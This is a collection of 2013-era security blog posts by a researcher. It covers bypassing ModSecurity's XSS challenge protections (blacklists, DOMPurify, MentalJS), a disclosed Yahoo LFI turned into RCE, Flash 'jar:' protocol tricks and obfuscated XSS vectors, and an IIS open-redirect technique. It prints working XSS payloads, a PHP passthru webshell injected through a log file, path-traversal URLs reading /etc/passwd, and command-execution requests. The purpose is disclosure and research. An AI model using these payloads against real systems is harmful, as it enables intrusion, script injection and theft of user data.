How did I bypass everything in modsecurity evasion challenge?

First of all, at the moment this challenge is ongoing since last year (2013) and you may have already heard about it. Here is the link to this challenge: http://www.modsecurity.org/demo/demo-deny-noescape.html

I was very late to the party as other challengers could have defeated it easier in September 2013: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html. These bypasses have been fixed now and it should not be possible to use those techniques to win the challenge.

As a result, the challenge is much harder than what it was in September and probably would be tougher in future. Fortunately, I managed to bypass all three different groups of the protections separately. Unfortunately, I could not find a single payload to bypass everything at the same time so I could not claim the prize just like other previous challengers! You can tell me first if you found a way to bypass them all though ;)

Here is what I did to bypass the XSS protections in this challenge for future reference:

XSS Defense #1 – blacklist method

XSS detection based on 5 different restricted blacklists! In my humble opinion, you may not be able to use these blacklists at the same time in a live web application because of the high number of false-positives. For example, it currently detects the following strings as attack vectors: “dude, I am online =))”, “<~form”, or “test this src for me”.

I thought I may be able to bypass the protection by using a flash file and an “object” tag, but “<object data=…” was blocked by different protections…

However, I used the following features to bypass these protections:

  •  An “object” tag does not need to be closed for this scenario.
  • A null character with an alphanumeric character after the “object” tag would make it undetectable by different protection methods in this challenge (e.g. “<object%00something”).
  • “allowScriptAccess” and “data” attributes were allowed!

So the following is a bypass method for the XSS Defense #1:

<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?

And as the page writes the payload twice, I could also use the following to bypass the protections:

'allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?<object%00something else='

XSS Defense #2 and #3 – DomPurify and MentalJS

The defense #2 and #3 are about bypassing the white-list protections. You can read more about them in the modsecurity challenge page.

I was thinking to bypass DomPurify by using DOM clobbering attack (http://www.thespanner.co.uk/2013/05/16/dom-clobbering/) but it had some protections against it:

// https://raw.githubusercontent.com/cure53/DOMPurify/d488ccf4680a7c019bce4de100f53e8ed86d5034/purify.js
        var _isClobbered = function(elm) {
            if(elm instanceof Text) {
                return false;
            }
            if (
                (elm.children && !(elm.children instanceof HTMLCollection))
                || typeof elm.nodeName !== 'string'
                || typeof elm.textContent !== 'string'
                || typeof elm.nodeType !== 'number'
                || typeof elm.COMMENT_NODE !== 'number'
                || typeof elm.setAttribute !== 'function'
                || typeof elm.cloneNode !== 'function'
                || typeof elm.removeAttributeNode !== 'function'
                || typeof elm.insertAdjacentHTML !== 'function'
                || typeof elm.attributes.item !== 'function'
            ) {
                return true;
            }
            return false;
        };

In this code, it checks “elm.attributes.item” to be a function but it does not verify the “elm.attributes” to have the correct type (it has been fixed now). As a result, I managed to bypass its “_sanitizeAttributes()” function by using a “form” tag with two “input” elements with the “name” attributes equal to “attributes”. If I was using just one “input” element, “elm.attributes.item” would not be a function, and therefore it was detectable; however, with more than one element, “elm.attributes.item” would be a function and “attributes.length” would be a numerical value so there would be no error in JavaScript, and this causes confusion for “currentNode.attributes[attr].name” in the following code to point to the “input” elements instead of the real form’s attributes which is what we need. Therefore, I could bypass the protection that DomPurify had in the “_sanitizeAttributes” function without causing any error by using DOM clobbering technique:

/* Check if we have attributes; if not we might have a text node */
if(currentNode.attributes) {

/* Go backwards over all attributes; safely remove bad ones */
for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) {
tmp = clonedNode.attributes[attr];
clobbering = false;
currentNode.removeAttribute(currentNode.attributes[attr].name);

The bypass code is as follows:

</pre>
<form onmouseover="alert(&quot;by @irsdl:&quot;%2bdocument.location)"><input type="text" name="attributes" /><input type="text" name="attributes" />

It turned out that this also bypasses MentalJS sandbox by causing confusion as a result of DOM clobbering in the code below:

if(elementNode.attributes instanceof HTMLElement || typeof elementNode.setAttribute !== 'function' || typeof elementNode.getAttribute !== 'function' || typeof elementNode.removeAttribute !== 'function') {
                                        elementsToRemove.push(elementNode);
                                        continue;
                                    }

XSS Defense #3 – MentalJS

Apart from the previous bypass for MentalJS, I also found out that it is possible to bypass its sandbox by using “innerHTML” to build a script tag instead of using “createTextNode”:

<script type="text/javascript">
x=document.createElement('script');x.innerHTML='alert(location)';documdoc.body.appendChild(x);
</script>

I also found the following interesting tricks in MentalJS but they did not lead me to any new bypasses:

Keeping script “src” to an external js file (normally MentalJS removes them):

<script type="text/javascript" src="http://ha.ckers.org/xss.js">
x
</script>

Keeping a non-whitelisted tag by clobbering the “removeChild” function (this will cause a JavaScript error but this is not a problem as it is in a try/catch statement):

</pre>
<form name="IRSDL"><input type="text" name="removeChild" /><input type="text" name="removeChild" />xxxx</form>
<pre>

If you are still interested, the following link is the conversation about bypassing MentalJS in slackers forum and it is really awesome:

http://sla.ckers.org/forum/read.php?2,29090,52131,page=13

MentalJS has been written by Gareth Heyes (@garethheyes‎) who was supporting me to bypass his tool to make it more secure.

Yahoo bug bounty program – LFI reported and patched!

Introduction:

Yahoo! bug bounty program is still young and I believe that they have been pushed to do this when they were not ready for it! Many of their web pages had not even been scanned by an automatic commercial scanner when they started running their bounty program and they will definitely lose profit on that. I guess this is the price that they are willing to pay to satisfy their customers. Other high profile companies that still do not care about an appropriate bug bounty program for their websites and their applications should rethink now! Thanks to the available bug bounty programs, the number of bounty hunters is now increased and the power of this community is growing everyday and this will save time and money for any company in the long run.

I remember the time that you could find at least one XSS in less than an hour and a SQLi in a few hours in Yahoo websites (http://www.xssed.com/pagerank). Now their bug bounty program is going to change this situation and the customers who have migrated to Gmail to have more security (I personally did that), may still use their Yahoo account!

However, it is still too early to say anything about Yahoo bug bounty program and we have to wait a few months to see their stable policy. There are security researchers who have reported more than 20 XSS issues to Yahoo now and they are waiting for their rewards! It is very interesting to see how much Yahoo will pay for any particular issue and how they are going to categorize the issues to pay from $150 for low risk issues to $15,000 for high risk issues. More info about Yahoo bug bounty programs from Ramses Martinez -Director, Yahoo Paranoids-: http://yahoodevelopers.tumblr.com/post/62953984019/so-im-the-guy-who-sent-the-t-shirt-out-as-a-thank-you

Now, I am going to share my experience in reporting a critical issue to Yahoo just for future reference (I am not going to talk about the XSS issues that I have reported to them).

LFI gave me RCE on “advertiser.yahoo.com” server!

I found a LFI issue in the following URL (it gives me the 404-error now!):

*

https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../etc/passwd%00us

*

Interestingly, some of the users of this server had already left Yahoo a while ago but their user was still there! But this was not my concern; finding this issue was too easy and minimum skills were needed. However, exploitation was tricky as I could not find the log-files path on these Yahoo FreeBSD servers. I reported the issue to Yahoo at this point but I wanted to prove that this is a highly critical issue. So I searched in Google and by using try and error, I finally managed to find the log-file that I was looking for: “/home/y/logs/yapache/error”. Then, I just had to create an error! I sent a GET request with spaces in the request to cause 400-error-status and log my backdoor inside the log-file:

*
GET /<? passthru($_GET[cmd]) ?> HTTP/1.1
*

And now I could execute any commands on the server:

*

https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../home/y/logs/yapache/error%00us&cmd=cat+/etc/ybiipinfo


https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../home/y/logs/yapache/error%00us&cmd=ls+-R+/home/y/share/htdocs/*

*

I ran a few commands (no network commands) and looked at the content of some PHP files but as I was not sure if I am allowed to continue, I stopped. Ramses Martinez (Director, Yahoo! Security Team) allowed me later to download the web files in order to find more vulnerabilities but when I looked into it the day after, the issue was fixed and it was too little too late to complete my glory ;) they were quite quick to address this issue as soon as they saw my email at the weekend.

I wish there was a policy that could tell me what I am allowed to do when I have RCE on the server in a bug bounty program. I did not even try to look at the sensitive files that could contain credentials such as database passwords as I was not sure about the legal side of my testing.

Time-Line:

Fri, Oct 4, 2013 at 11:13 PM: Initial report of LFI to Yahoo

Sat, Oct 5, 2013 at 12:47 AM: LFI converted to RCE reported to Yahoo

Sun, Oct 6, 2013 at 6:19 PM: First contact from Yahoo directly from Ramses Martinez

Mon, Oct 7, 2013 at 3:16 AM: I have been informed that this issue plus other XSS issues that I had reported have been patched.

Reward:

Ramses’ response: “Please keep in mind that we announced the program going live on 10/30 and we’re not fully operational. Which means we are still working out a few issues. Until that time our response could vary depending on submissions and workload. Work with me here and I’ll make sure that you are taken care of once the program is in place.”

I will update this section as soon as I get any news from Yahoo. The prize is between $150 to $15K based on the risk rating (impact x likelihood [?]) and I am wondering how much they are going to pay for this LFI to RCE issue.

Catch-up on Flash XSS exploitation Part 2 – “navigateToURL” and “jar:” protocol!

I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!

XSS attack by using different protocols in “navigateToURL” redirections:

Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.

We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!

In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:

rtmp:
rtmpt:
rtmps:
rtmpe:
rtmpte:
mk:@MSITStore:
Ms-its:
vnd.ms.wmhtml:
etc:
ms-help:
hcp:
msencdata:
jar:
rtmpt://
rtmps://
rtmpe://
rtmpte://
rtmfp://
file:////
app:
app-storage:

Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!

jar:” protocol is our invisible friend and a True Warrior!!:

It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).

Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!

Here is our vulnerable example code:

	var input:String = root.loaderInfo.parameters.input; // input variable
	var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
	if(!dangerousInput.test(input))
	{
		// Safe to go?!!! --> No! What about "jar:javascript:"?
		navigateToURL(new URLRequest(input),"_self"); // redirection
	}

And here is the real example:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//

*

This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.

Bypassing local-with-filesystem protection by using “navigateToURL”:

By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
	at global/flash.net::navigateToURL()
	at MethodInfo-1()
	at flash.events::EventDispatcher/dispatchEventFunction()
	at flash.events::EventDispatcher/dispatchEvent()
	at com.powerflasher.SampleApp::link_protocol_test()

As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.

I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!

I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!

Here are some examples of my bypass vectors:

Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\

*

Jar protocol – Opens a file in your local C drive:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml

*

Jar protocol – Opens other restricted protocols in IE – example 1:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies

*

Jar protocol – Opens other restricted protocols in IE – example 2:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7ee4dddc16.htm

*

Playing with backslashes without using “jar:” protocol – Opens C drive:

*

http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/

*

Now you can open any of these links in an IFrame. I have created a PoC in the following link:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html

As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )

Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.

These are the things we should be able to do by opening the local file system in an IFrame:

1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue: http://forums.cnet.com/7726-6132_102-5480227.html).

2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!

3- Scanning the local resources.

4- Fingerprinting the users based on their files and directories.

Let’s have some fun! I want to open your CDRom!

I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:
http://0me.me/demo/xss/flash/open_cdrom.html

I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)

 

 

Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

I had tweeted a few techniques in exploiting XSS in vulnerable flash files a few months ago. I thought it is a good idea to summarise them here and share it with you. I will try to add more parts to this in future…

Bypassing IE protection/feature against SWF reflected XSS:

It seems only IE as a browser has protections against normal reflected XSS attacks on flash files. For example, if you open the following link in IE10, Javascript won’t have access to the DOM objects:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

Instead, it will show you the following error message in the console (press F12 to see it):

The same script is run easily in Firefox (without NoScript) and Google Chrome. Moreover, the other methods that I had invented previously in the following blog post do not work in IE10: “http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/”.

Now, I have found a workaround to also bypass IE10 protections and run the script:

*

http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'

*

It is based on the following simple fact:

“javascript:x=”echo”” in the URL, will print “echo” on the screen and it can contain HTML tags. Any script will then have access to the objects of the original page.

Flash URLDecode feature that can be used to bypass possible protections and obfuscate the attack:

If you need to send the vectors to a server behind a firewall (flashvars can be sent after the “#” character to be hidden from the server) or to bypass client-side Anti-XSS protections, this method can be very useful.

Flash discards invalid URL encoded values completely:

A) It discards 2 characters if you have an invalid hex character ([^0-9a-fA-F]) immediately after the percentage character. Example: “%X” or “%=”

B) It discards 3 characters if you have a valid hex character after the percentage character followed by an invalid hex character. Example: “%AX” or “%A&”

Note1: During this test, I have observed that sometimes values greater than 127 in ASCII will be converted to a question mark (“?”) character. This happens in URL redirection cases.

Note2: Encoded BOM characters (“%EF%BB%BF”) can also replace the space characters. Example: “alert(1)” can be rewritten as “alert%EF%BB%BF(1)” (http://en.wikipedia.org/wiki/Byte_order_mark)

Exploits can even be more deceptive if you use the following vectors: “%#” or “%A#”. It will not send your complete vector to the server because of the “#” character.

Example:

Original queries:


http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);


http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'

New equivalent queries:


http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in);


http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri%AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'

As you can see in these examples, a flash based XSS attack can be obfuscated very well!

NoScript was bypassed initially by using this trick but it has been patched since version 2.6.6.8 (http://noscript.net/changelog). Thanks to Giorgio Maone (@ma1).

Next Part

I will try to post more related materials in regards with Flash security. I may divulge some 0days here…, who knows?

Simple Security Tip: window.location = window.location.pathname can cause Open-Redirect issue!

I found this issue in a website and I thought it would be nice to share the info.

If you search “window.location = window.location.pathname” in Google, you will see some people are using this method for redirection purposes. This can make a website vulnerable to Open Redirect issue though. In fact, if there is any sensitive value in the URL, it can be sent to the attacker as well.

Quick reference: when you are in “http://sdl.me/something/file.ext?p=v#h=g” page, “window.location.pathname” in Javascript will return “/something/file.ext” as the value.

Now if you use this “pathname” value for redirection without having any validation, it can lead to Open-Redirect vulnerability. This happens when “pathname” starts with two slash characters “//” instead of a single slash character with a valid domain-name afterward. However, it is not easy to start the URL path with two slash characters and a domain-name and point to the vulnerable page at the same time!

Here is a vulnerable sample page: http://sdl.me/tips/js-location-pathname.html

It contains the following vulnerable JS code:

//
window.location = window.location.pathname + '?Secrets=SecretValue1#MoreSecrets=SecretValue2!';
//

Now I like to redirect the user to my fake logger which is located at: www.secproject.com/demo/showmyinfo.php

First solution?

I was thinking to use directory traversal method to have my target domain in the URL and also point to the vulnerable page:

http://sdl.me//www.secproject.com/demo/showmyinfo.php/../../../tips/js-location-pathname.html

However, when I open this page in any browser, it strips out my logger URL before it sends the request to the server, and it becomes like this:

http://sdl.me//tips/js-location-pathname.html

Note: It still keeps two slash characters, and this fails the redirection as http://tips/ is not available. This behaviour can be used as a detection technique for this issue though!

Anyway, this method does not work and I failed!

Second try:

My vulnerable page has been hosted in a Windows host with IIS. This means, there is no difference between a slash and a backslash and their encoded values in the path! As a result I found this solution to keep my logger URL and also open the target page:

http://sdl.me//www.secproject.com/demo/showmyinfo.php/\..\..\../tips/js-location-pathname.html

However, this only works in Firefox and I have to use encoding for IE and Google Chrome:

http://sdl.me//www.secproject.com/demo/showmyinfo.php/%5C..%5C..%5C../tips/js-location-pathname.html

Job done! Success!

Now I can redirect the user to my dangerous page and hijack the secrets in any browsers!

Conclusion:

This issue is exploitable if the website with a vulnerable page

1- has been hosted in a Windows host with IIS!

2- has a URL-rewrite rule that still serve a page that contains the vulnerable JS.

3- has an error handling page (404 page?) that contains the vulnerable JS.